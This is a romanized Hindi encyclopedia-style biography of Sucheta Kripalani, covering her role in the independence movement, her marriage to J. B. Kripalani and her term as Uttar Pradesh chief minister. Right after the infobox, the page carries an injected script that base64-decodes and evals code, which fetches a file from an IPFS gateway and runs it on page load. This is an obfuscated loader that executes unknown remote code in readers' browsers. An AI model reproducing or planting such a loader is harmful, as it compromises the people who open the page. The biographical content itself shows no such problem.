सुचेता कृपलानी

sucheta kripalani
sucheta kripalani|200px|center
poora nam	sucheta kripalani
any nam	sucheta mazoomadar
janm	25 joon, 1908
janm bhoomi	ambala, hariyana
mrityu	1 disanbar, 1974
pati/patni	je. bi. kripalani
nagarikata	bharatiy
prasiddhi	bharat ki pratham mahila mukhyamantri
parti	bharatiy rashtriy kaangres
pad	uttar pradesh ki chauthi mukhyamantri
kary kal	2 aktoobar, 1963 – 13 march, 1967
shiksha	bi.e, em.e.
vidyalay	panjab vishvavidyalay, dilli vishvavidyalay
bhasha	hiandi, aangrezi
any janakari	1948 se 1960 tak vah bharatiy rashtriy kaangres ki mahasachiv rahian. banaras hiandoo vishvavidyalay mean itihas ki pradhyapika bhi rahian.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>sucheta kripalani athava 'sucheta mazoomadar' (aangrezi: Sucheta Kriplani, janm- 25 joon, 1908, ambala; mrityu- 1 disanbar, 1974) prasiddh bharatiy svatantrata senani evan rajanitijn thian. ye uttar pradesh ki chauthi aur bharat ki pratham mahila mukhyamantri thian. bharat ke sanvidhan ko mool roop dene vali samiti mean 15 mahilaean bhi shamil thian. inhoanne sanvidhan ke sath bharatiy samaj ke nirman mean bhi mahatvapoorn bhoomika nibhaee. sucheta kripalani inhian mean se ek thian.

jivan parichay

sucheta kripalani ka janm 25 joon, 1908 ko bharat ke hariyana rajy ke ambala shahar mean hua. unaki shiksha lahaur aur dilli mean huee thi. 1963 se 1967 tak vah uttar pradesh ki mukhyamantri rahian. sucheta kripalani desh ki pahali mahila mukhyamantri thian. ve bantavare ki trasadi mean mahatma gaandhi ke behad qarib rahian. sucheta kripalani un chand mahilaoan mean shamil thian, jinhoanne bapoo ke qarib rahakar desh ki azadi ki nianv rakhi. vah novakhali yatra mean bapoo ke sath thian. varsh 1963 mean uttar pradesh ki mukhyamantri banane se pahale vah lagatar do bar lokasabha ke lie chuni geean. sucheta dil ki komal to thian, lekin prashasanik phaisale lete samay vah dil ki nahian, dimag ki sunati thian. unake mukhyamantri kal ke dauran rajy ke karmachariyoan ne lagatar 62 dinoan tak h datal jari rakhi, lekin vah karmachari netaoan se sulah ko tabhi taiyar hueean, jab unake rukh mean narami aee. jabaki sucheta ke pati achary kripalani khud samajavadi the. azadi ke aandolan mean bhag lene ke lie unhean jel ki saza huee. 1946 mean vah sanvidhan sabha ki sadasy chuni geean. 1948 se 1960 tak vah bharatiy rashtriy kaangres ki mahasachiv thian.

majaboot ichchhashakti aur jujharoopan ki misal

bharat chho do aandolan mean sucheta kripalani ne l dakiyoan ko dril aur lathi chalana sikhaya. noakhali ke danga pi dit ilakoan mean gaandhi ji ke sath chalate hue pi dit mahilaoan ki madad ki. 15 agast, 1947 ko sanvidhan sabha mean vandemataramh gaya. uttar pradesh ki mukhyamantri ke roop mean unhoanne rajy karmachariyoan ki h datal ko majaboot ichchhashakti ke sath vapas lene par majaboor kiya. ve pahale samyavad se prabhavit hueean aur phir poori tarah gaandhivadi ho geean. uttar pradesh ki pahali mahila mukhyamantri sucheta kripalani ki jiandagi ke ye pahaloo unhean aisi mahila ki pahachan dete haian, jisamean apanatv aur jujharoopan koot-koot kar bhara tha. ek shakhsiyat kee roop- aj itane gunoan vale rajaneta shayad hi milean. bharat chho do aandolan mean jab sare purush neta jel chale ge to sucheta kripalani ne alag raste par chalane ka phaisala kiya. ‘bakiyoan ki tarah maian bhi jel chali gee to aandolan ko age kaun badhaega.’ vah bhoomigat ho geean. us dauran unhoanne kaangres ka mahila vibhag banaya aur pulis se chhupate-chhupate do sal tak aandolan bhi chalaya. isake lie aandaragraund valantiyar phors banaee. l dakiyoan ko dril, lathi chalana, prathamik chikitsa aur sankat mean ghir jane par atmaraksha ke lie hathiyar chalane ki treniang bhi di. rajanitik kaidiyoan ke parivar ko rahat dene ka jimma bhi uthati rahian. dangoan ke samay mahilaoan ko rahat pahuanchane, chin hamale ke bad bharat ae tibbati sharanarthiyoan ke punarvas ya phir kisi se bhi milane par usaka dukh-dard poochhakar usaka hal talashane ki koshish hamesha rahati.

je.bi. kripalani aur sucheta kripalani

jivataram bhagavanadas kripalani aur sucheta majoomadar ki pahali mulakat kahaan huee ye kahana mushkil hai lekin ye jaroor kaha ja sakata hai ki banaras hindoo vishvavidyalay kahian n kahian unake pyar ki dhuri bana tha. bad mean mahatma gaandhi ke sath kam karate hue donoan najadik ate ge, lekin gaandhiji yah janakar hairan rah ge ki unhian ke ashram mean un donoan ka pyar phala-phoola. donoan kaangres ke diggaj neta the lekin ane vale saloan mean unaki bhoomika aisi badali ki vo virodhi kaianpoan mean shamil ho ge. kripalani siandh ke haidarabad mean paida hue the. asadharan taur par padhane mean behad kushagr aur kuchh tarah se sochane vale shakhs the. aise shakhs bhi jo apane ap mean rahana jyada pasand karate the. unake bare mean kaha jata tha ki vo bahut asani ke sath apane priy logoan se khud ko alag kar lete the. kripalani ko jo bhi janate haian vo manate the vo behad anushasit aur adarshoan ke pakke shakhs the. striyoan se khud ko hamesha door rakhane vale the. ye mana jane laga tha ki vivah unaki dikshanari mean nahian hai. kripalani azadi se pahale lanbe samay tak kaangres ke mahasachiv rahe aur 1947 jab desh azad ho raha tha tab vah is parti ke adhyaksh the. halaanki azadi ke bad sthitiyaan aisi banian ki kaangres virodh aur vipaksh ki rajaniti karane lage. ajivan aisa karate rahe. vahian sucheta bad mean kaangres mean mantri bhi banian aur mukhyamantri bhi.

sucheta kripalani se prem

kripalani banaras hindoo vishvavidyalay mean itihas ke prophesar banakar ae, halaanki vah yahaan ek hi sal rahe, lekin vo ek sal hi us vishvavidyalay par unaka prabhav chho dane ke lie kaphi tha. isake bad unhoanne gaandhiji ke asahayog aandolan ke lie naukari chho d di. isake kuchh sal bad banaras hindoo vishvavidyalay ke itihas vibhag mean sucheta majumadar prophesar banakar aeean. unake kanoan mean aksar achary kripalani ki batean sunaee p dati thian. khasakar unake jiniyas tichar hone ki aur phir unake gaandhiji ke khas sahayogi ban jane ki. unhian dinoan kripalani jab kabhi banaras ate to biechayoo ke itihas vibhag jaroor jate. usi dauran unaki mulakat sucheta se huee, jinamean ek prakharata bhi thi aur azadi aandolan se ju dane ki tivrata bhi. kaha ja sakata hai ki kripalani kahian n kahian is bangali yuvati se prabhavit ho ge the. donoan mean kaphi batean hone lagian. jab kuchh mulakatoan ke bad sucheta ne unase gaandhiji se ju dane ki ichchha jahir ki to kripalani isamean sahayak bhi bane. halaanki vah unhean rajaniti mean ane se lagatar hatotsahit bhi karate the, kyoanki unhean lagata tha ki mahilaoan ko rajaniti mean daman saph bachakar rakhana mushkil hota tha. isalie vah unase lagatar kahate bhi the apana daman saph rakhana. achary kripalani unake margadarshak aur vishvast ban ge. samay ke sath jab donoan ka kaphi samay ek doosare ke sath bitane laga to vo karib ane lage, halaanki kisi ko bhi aandaza nahian tha ki kripalani jaise shakhs ke jivan mean bhi prem dastak de sakata hai aur dabe paanv unake man ke ghar par qabza kar sakata hai. kripalani lanbe kad ke sudarshan vyaktitv ke dhani the to sucheta sadharan kad kathi vali thian, lekin kuchh to tha unake vyaktitv mean jisane kripalani jaisi shakhsiyat ko unake pyar mean baandh liya tha. donoan jab ek doosare ke pyar mean p de to unhean kabhi umr ka lanba phasala apane bich mahasoos nahian hua, haan lekin jab unhoanne apas mean shadi karane ki ichchha apane parivaroan ke samane jahir ki to toophan a gaya. apane gharoan mean unhean gusse aur virodh ka samana karana p da.

gaandhiji bane virodhi

sucheta ne apani kitab 'sucheta en anaphinishd aautob aauyographi' mean likha, gaandhiji ne unake vivah ka virodh kiya tha, unhean lagata tha ki parivarik jimmedariyaan unhean azadi ki l daee se vimukh kar deangi. gaandhi ne kripalani se kaha, agar tum usase shadi karoge to mera dayaan hath to d doge. tab sucheta ne unase kaha, vah aisa kyoan sochate haian balki unhean to ye sochana chahie ki unhean azadi ki l daee mean ek ki bajae do karyakarta mil jaeange. kripalani is bat se nakhush to bahut the ki gaandhi unake vyaktigat mamaloan mean dakhal de rahe haian lekin isake bad bhi unhoanne unaki bat karib-karib man hi li, sucheta bhi is par sahamat ho geean. lekin isake bad gaandhiji ne jo kuchh kiya, usane unake apas me shadi karane ke vichar ko majaboot kar diya. sucheta apani b aauyographi mean likhati haian, gaandhi chahate the ki vah kisi aur se shadi kar lean. unhoanne isake lie dabav bhi dala. maine ise ekasire se kharij kar diya. maine unase kaha, jo prastav vah de rahe haian vo anyayapoorn bhi hai aur anaitik bhi. sucheta jo khushavant sianh ke kahane par ilaistreted vikali maigajin mean apani atmakatha likhane par raji ho geean thian. bad mean yahi unaki atmakatha ke roop mean ahamadabad ke navajivan pablishiang haus ne varsh 1978 mean prakashit ki. isamean unhoanne likha, jab gaandhi ne mere samane aisa prastav rakha to maian unaki or palati, unase kaha ki jo vo kah rahe haian vah galat hai. gaandhi ke pas isaka koee javab nahian tha. hamari bat vahian khatm ho gee. javaharalal neharoo ki sahanubhooti hamare sath thi. unhoanne gaandhi se hamari shadi ke bare mean bat ki.

umr mean tha 20 sal ka phasala

1936 mean gaandhi ne sucheta aur achary kripalani ko bulava bheja. gaandhi ne unase kaha ki unhean unaki shadi se koee dikkat nahian hai lekin vah unhean arshivad nahian de sakeange. gaandhi ne kaha ki vah unake lie prarthana kareange. sucheta ne apani kitab mean likha, ham unaki prarthana bhar se santusht the. aprail 1936 mean sucheta aur achary kripalani ne shadi kar li. us samay kripalani 48 sal ke the to sucheta matr 28 sal ki thian.

virodhi hokar bhi sath-sath rahe

bad mean halat ne aisi karavat li ki donoan virodhi daloan mean shamil ho ge. rahate donoan sath the lekin ek kaangres mean raha to doosara ajivan kaangres virodh ki rajaniti karata raha. achary kripalani aksar majak mean kaha karate the ki kaangresi itane badamash haian ki vo meri patni hi bhaga le ge. beshak donoan pati-patni the lekin unamean dosti ka bhav jyada tha. sucheta azadi ke aandolan mean shamil un tin baangla mahilaoan mean thian, jo uchch shikshit thian aur jinhoanne poore jor-shor azadi ki l daee mean hissa liya aur tinoan ne apana karyakshetr uttar pradesh ko banaya. tinoan ne dharm jati ki paravah nahian karate hue apane jivanasathi chune. azadi ke bad badale halat mean achary kripalani ne jahaan kaangres se alag hokar pahale apani kisan majadoor praja parti banaee aur phir ram manohar lohiya ke sath praja soshalist parti ki sthapana ki. sucheta ne 1950 mean dilli se lokasabha chunav kisan majadoor parti se l da. chunav jita, lekin isake bad vah kaangres mean chali geean aur bad uttar pradesh ki mukhyamantri bhi banian. 1971 mean jab tak vah rajaniti mean sakriy rahian tab tak kaangres mean shamil rahian. varsh 1971 mean rajaniti se ritayar hone ke bad vah achary kripalani ke sath dilli ke apane bangale mean rahane lagian. ek patni ke nate unhoanne apane pati ka poora khyal rakha.

rajanitik safar

• 1939 mean naukari chho dakar rajaniti mean aeean.
• 1940 mean vyaktigat satyagrah kiya aur giraphtar.
• 1941-1942 mean akhil bharatiy kaangres kameti ke mahila vibhag aur videsh vibhag ki mantri.
• 1942 se 1944 tak nirantar nirantar saphal bhoomigat aandolan chalaya phir 1944 mean giraphtar kiya gaya.
• 1946 mean kendriy vidhanasabha ki sadasy.
• 1946 mean sanvidhan sabha ki sadasy aur phir isaki praroop samiti ki sadasy banian.
• 1948-1951 tak kaangres karyakarini ki sadasy.
• 1948 mean pahali bar vidhanasabha ke lie chuni geean.
• 1950 se lekar 1952 tak pr aauvijanal lokasabha ki sadasy rahian.
• 1949 mean sanyukt rashtrasangh mahasabha adhiveshan mean bharatiy pratinidhi mandal ki sadasy ke roop mean geean.
• 1952 aur 1957 mean nee dilli se lokasabha ke lie nirvachit. is dauran laghu udyog mantralay mean rajy mantri rahian.
• 1962-1967 tak meanhadaval se uttar pradesh vidhanasabha ke lie nirvachit.
• 2 aktoobar, 1963 se 13 march, 1967 tak uttar pradesh ki mukhyamantri.
• 1967 mean gonda se lokasabha ke lie chuni geean.

nidhan

svatantrata aandolan mean shrimati sucheta kripalani ke yogadan ko hamesha yad kiya jaega. 1 disanbar, 1974 ko unaka nidhan ho gaya. apane shok sandesh mean shrimati iandira gaandhi ne kaha ki "sucheta ji aise durlabh sahas aur charitr ki mahila thian, jinase bharatiy mahilaoan ko samman milata hai."

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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bahari k diyaan

• svadhinata aandolan mean mahilaoan ki bhoomika

sanbandhit lekh

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